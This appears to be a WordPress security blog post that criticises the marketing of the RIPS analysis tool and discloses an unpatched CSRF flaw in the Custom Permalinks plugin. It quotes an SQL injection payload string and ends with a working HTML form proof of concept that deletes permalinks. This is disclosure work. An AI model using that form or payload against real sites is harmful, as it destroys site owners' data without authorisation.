05 Apr

Real World Result of RIPS Code Analysis Service Doesn’t Match Hyperbolic Marketing of It

Recently there was claim made that an authenticated SQL injection vulnerability had been fixed in the plugin Custom Permalinks. In looking into that though we found that it was only accessible to Administrators, who would already normally have the capability to do the equivalent of SQL injection, so that wouldn’t really be a vulnerability. What seems notable about this is that the claim of the vulnerability came from the maker of an automated security tool that is marketed out of line with the actual result shown by that vulnerability claim.

The tool is marketed with claims like this:

RIPS code analysis detects critical security issues in your PHP application without false positive noise.

While we wouldn’t describe that issue as a false positive, it also is far from a critical security issue. The reality is that automated tools like that tool or are Plugin Security Checker have serious limits in what they can do (something that the rest of the marketing material for RIPS doesn’t give any hint of) and are best used by knowledgeable professionals that can properly integrate the results in to a larger security process.

The rest of the marketing just on its homepage is rather over the top as well, with phrases like “unique PHP analysis”, “most accurate”, “unmatched bug detection”, “precise detection”, “no other solution can find”, “leading performance”, and “in-depth security analysis”. None of that is linked to pages that attempt to back up the claims, which is less than reassuring about the capabilities of the tool and the people behind it.

What we found when we went to look in to this claim, backs up that concern, as a rather obvious security vulnerability actually exists in the functionality they claimed contained the authenticated SQL injection vulnerability.

While only Administrators could access that claimed vulnerability directly, it was still possible that there could be a way to exploit it if two conditions were met. The first being that there wasn’t protection against cross-site request forgery (CSRF) and that the request to exploit it was a GET request. The proof of concept provided for it ruled out that possibility since it involved a POST request:

Send authenticated POST request to “URL/wp-admin/admin.php?page=custom-permalinks-post-permalinks” with parameters “action=delete&permalinks[]=1) PAYLOAD — “

But that would seem to indicate that there wasn’t protection against CSRF, which in this case would mean that if an attacker could get a logged in Administrator to visit a URL the attacker controls they could cause permalinks created by the plugin to be deleted.

We first confirmed that was the case in a web browser and then we reviewed the underlying code to see all that was going on behind the scenes.

The plugin’s admin page PostTypes Permalinks is only accessible to those with the “administrator” role and accessing it calls the posttype_permalinks() function (in the file /admin/class-custom-permalinks-admin.php):

add_submenu_page( 'cp-post-permalinks', 'PostTypes Permalinks',
	'PostTypes Permalinks', 'administrator', 'cp-post-permalinks',
	array( $this, 'posttype_permalinks' )
);

Near the top of the function it checks if several POST inputs exists and if they exist it will delete the specified permalinks:

52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
public function posttype_permalinks() {
	global $wpdb;
	$filter_options   = '';
	$filter_permalink = '';
	$search_permalink = '';
	$html             = '';
	$error            = '';
 
	// Handle Bulk Operations
	if ( ( isset( $_POST['action'] ) && $_POST['action'] == 'delete' )
		|| ( isset( $_POST['action2'] ) && $_POST['action2'] == 'delete' )
		&& isset( $_POST['permalink'] ) && ! empty( $_POST['permalink'] ) ) {
		$post_ids = implode( ',', $_POST['permalink'] );
		if ( preg_match( '/^\d+(?:,\d+)*$/', $post_ids ) ) {
			$wpdb->query( "DELETE FROM $wpdb->postmeta WHERE post_id IN ($post_ids) AND meta_key = 'custom_permalink'" );

There is no check for a nonce, which would prevent cross-site request forgery (CSRF), before the deletion happens.

We notified the developer of the plugin of the issue on February 26 and they replied the next day that the issue would be fixed “ASAP”. Earlier today, for the first time since we contacted them a new version was released, but it didn’t make any change related to the vulnerability.

Proof of Concept

The following proof of concept will delete the permalinks with IDs 1 and 2, when logged in as Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=cp-post-permalinks" method="POST" >
<input type="hidden" name="action" value="delete" />
<input type="hidden" name="permalink[]" value="1" />
<input type="hidden" name="permalink[]" value="2" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • February 26, 2018 – Developer notified.
  • February 27, 2018 – Developer responds.